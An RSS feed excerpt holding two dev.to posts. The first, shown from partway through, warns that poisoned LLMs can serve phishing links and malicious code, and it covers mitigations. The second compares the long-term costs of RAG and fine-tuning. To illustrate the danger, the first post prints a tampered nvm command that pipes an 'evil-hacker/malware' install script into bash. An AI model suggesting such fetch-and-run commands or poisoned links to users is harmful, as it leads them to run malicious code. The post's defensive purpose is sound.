&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-o-&lt;/span&gt; https://raw.githubusercontent.com/nvm-sh/nvm/v0.40.3/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;But a compromised LLM might subtly tweak it to:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-o-&lt;/span&gt; https://raw.githubusercontent.com/evil-hacker/malware/v0.40.3/install.sh | bash
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The difference is subtle, but the impact is devastating—running that command could execute malicious code on your machine. In customer support scenarios, the stakes are even higher. Imagine an AI sending phishing links to thousands of users in response to support queries. The legal and reputational fallout for companies could be massive, not to mention the harm to users who fall victim.&lt;/p&gt;

&lt;p&gt;This isn’t just a technical glitch; it’s a high-risk issue that exploits our trust in AI systems. As LLMs become more integrated into workflows—coding, customer service, research—the potential for harm grows exponentially.&lt;/p&gt;

&lt;h2&gt;
  
  
  What Can Be Done to Mitigate the Risk?
&lt;/h2&gt;

&lt;p&gt;Tackling this problem requires a multi-layered approach, and it’s not just on users to stay vigilant. Here’s what can be done:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Clean Up Training Data&lt;/strong&gt;: Companies like OpenAI, xAI, and others building LLMs need to take responsibility for sanitizing their training datasets. This means actively identifying and excluding malicious sites during the data curation process. It’s not easy—hackers are constantly spinning up new domains—but advanced filtering techniques, like cross-referencing URLs against known malware databases, can help. This step is critical to prevent malicious content from ever making it into the model’s knowledge base.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Filter LLM Outputs&lt;/strong&gt;: Implementing real-time filtering mechanisms for LLM responses is another key defense. Before a response reaches the user, it should be scanned for known malicious URLs or suspicious patterns. This could involve integrating with existing security tools, like Google’s Safe Browsing API or proprietary blocklists. The downside? Filtering adds latency, increases costs, and could impact user experience if not done carefully. Both AI providers and companies deploying LLMs (e.g., in customer support platforms) need to invest in these safeguards, balancing security with performance.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Strengthen Browser and System Security&lt;/strong&gt;: On the user side, browsers and operating systems can play a bigger role. Modern browsers already block access to known malware sites, but these protections need to be more proactive. Enhanced detection of lookalike domains (e.g., &lt;code&gt;github.dangeroussite.com&lt;/code&gt;) and better user warnings before redirection can stop attacks before they succeed. Developers and end-users should also practice safe habits—like double-checking URLs and avoiding running unverified scripts—though this alone isn’t enough.&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Educate and Empower Users&lt;/strong&gt;: Awareness is a powerful tool. Companies deploying LLMs should educate users about the risks of AI-generated content, especially in high-stakes environments like customer support or software development. Clear warnings and guidelines can help users spot suspicious outputs and avoid falling for traps.&lt;/p&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;None of these solutions are foolproof, but together, they can significantly reduce the risk. It’s a shared responsibility—AI providers, businesses, and users all have a role to play.&lt;/p&gt;

&lt;h2&gt;
  
  
  Summary
&lt;/h2&gt;

&lt;p&gt;AI chatbots like ChatGPT are powerful tools, but they come with hidden dangers. A recent brush with a phishing link in an AI response opened my eyes to how LLMs can unwittingly serve up malicious content, from phishing URLs to harmful code. This happens because hackers exploit the models’ reliance on internet data, sneaking malicious patterns into their training sets. The risks are severe—compromised systems, stolen data, and even legal consequences for businesses using AI in sensitive contexts like customer support. Mitigation requires cleaner training data, real-time output filtering, stronger browser security, and user awareness. As we lean more on AI, we need to stay sharp and demand better safeguards to keep these tools from becoming weapons.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>security</category>
      <category>openai</category>
      <category>cybersecurity</category>
    </item>
    <item>
      <title>RAG vs Fine-Tuning: Which One Wins the Cost Game Long-Term?</title>
      <dc:creator>Remo H. Jansen</dc:creator>
      <pubDate>Thu, 24 Jul 2025 07:41:56 +0000</pubDate>
      <link>https://dev.to/remojansen/rag-vs-fine-tuning-which-one-wins-the-cost-game-long-term-12dg</link>
      <guid>https://dev.to/remojansen/rag-vs-fine-tuning-which-one-wins-the-cost-game-long-term-12dg</guid>
      <description>&lt;p&gt;Over the past few months, I’ve been diving deep into Retrieval-Augmented Generation (RAG) and fine-tuning strategies for LLMs. While RAG is often praised for its flexibility and lower upfront cost, I’ve started to question whether that narrative holds up when you zoom out and look at the long-term economics—especially in high-volume, production-grade scenarios.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Common Assumption: RAG is Cheaper
&lt;/h2&gt;

&lt;p&gt;RAG is typically seen as the budget-friendly option. You don’t need to retrain your model. You just embed your data, store it in a vector DB (like Azure AI Search), and inject relevant chunks into the prompt at runtime. Easy, right?&lt;/p&gt;

&lt;p&gt;But here’s the catch: every time you inject those chunks, you’re inflating your prompt size. And with LLMs, tokens = money.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Hidden Cost of Context Bloat
&lt;/h2&gt;

&lt;p&gt;Let’s say your base prompt is 15 tokens. Add a few RAG chunks and suddenly you’re pushing 500+ tokens per call. Multiply that by thousands of users and you’re looking at a serious spike in operational cost.&lt;/p&gt;

&lt;p&gt;In fact, some benchmarks show that:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Configuration&lt;/th&gt;
&lt;th&gt;Cost (USD) per 1K queries&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Base Model&lt;/td&gt;
&lt;td&gt;$11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fine-Tuned Model&lt;/td&gt;
&lt;td&gt;$20&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Base + RAG&lt;/td&gt;
&lt;td&gt;$41&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fine-Tuned + RAG&lt;/td&gt;
&lt;td&gt;$49&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;So yes, RAG is cheaper to start—but not necessarily to scale.&lt;/p&gt;

&lt;h2&gt;
  
  
  Fine-Tuning: Expensive Upfront, Efficient Over Time
&lt;/h2&gt;

&lt;p&gt;Fine-tuning gets a bad rap for being expensive. And it is—at first. You need curated data, GPU time, and a solid evaluation pipeline. But once you’ve done the work, you get:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Lower token usage (no need to inject long context)&lt;/li&gt;
&lt;li&gt;Faster responses (smaller prompts = lower latency)&lt;/li&gt;
&lt;li&gt;More consistent outputs (less prompt engineering gymnastics)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;If your use case involves repetitive queries over a stable knowledge base, fine-tuning can actually be the cheaper option in the long run.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Hybrid Sweet Spot
&lt;/h2&gt;

&lt;p&gt;Of course, it’s not always either/or. The smartest teams I’ve seen are blending both:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Fine-tune for core domain knowledge&lt;/li&gt;
&lt;li&gt;Use RAG for dynamic, time-sensitive data&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This hybrid approach gives you the best of both worlds: cost efficiency, flexibility, and performance.&lt;/p&gt;

&lt;h2&gt;
  
  
  Final Thoughts
&lt;/h2&gt;

&lt;p&gt;If you’re building internal agents or customer-facing copilots, don’t just default to RAG because it’s easier to prototype. Run the numbers. Model your token usage. Think about scale.&lt;/p&gt;

&lt;p&gt;Sometimes, the “expensive” option turns out to be the most economical—if you play the long game.&lt;/p&gt;

&lt;h3&gt;
  
  
  Bonus Tip: Optimize your AI costs with AI Foundry
&lt;/h3&gt;

&lt;p&gt;If you're working within the Microsoft ecosystem, I highly recommend using the &lt;strong&gt;Azure AI Foundry Capacity Calculator&lt;/strong&gt; to estimate your token consumption per minute using a standardized way to measure and allocate LLM usage across workloads known as &lt;strong&gt;PTUs&lt;/strong&gt; (Provisioned throughput units). PTUs help you understand how much you're consuming and how that translates into cost. It’s a great way to model the cost impact of different architectures (RAG, fine-tuning, or hybrid) before you commit.&lt;/p&gt;

&lt;p&gt;Using the calculator can help you make smarter architectural decisions—before they become expensive ones.&lt;/p&gt;

&lt;p&gt;You can also reserve PTUs to enjoy up to 70% discounts compared to pay-as-you-go pricing, making them a smart choice for predictable, production-scale workloads. I highly recommend reading &lt;a href="https://techcommunity.microsoft.com/blog/azure-ai-services-blog/right-size-your-ptu-deployment-and-save-big/4053857" rel="noopener noreferrer"&gt;Right-size your PTU deployment and save big&lt;/a&gt; to understand how to leverage PTUs to optimize the cost of deploying enterprise Agents.&lt;/p&gt;

&lt;p&gt;For more info, please refer to &lt;a href="https://learn.microsoft.com/en-us/azure/ai-foundry/openai/how-to/provisioned-throughput-onboarding?context=%2Fazure%2Fai-foundry%2Fcontext%2Fcontext" rel="noopener noreferrer"&gt;Understanding costs associated with provisioned throughput units (PTU)&lt;/a&gt;&lt;/p&gt;

</description>
      <category>azure</category>
      <category>ai</category>
      <category>rag</category>
      <category>chatgpt</category>
    </item>
  </channel>
</rss>
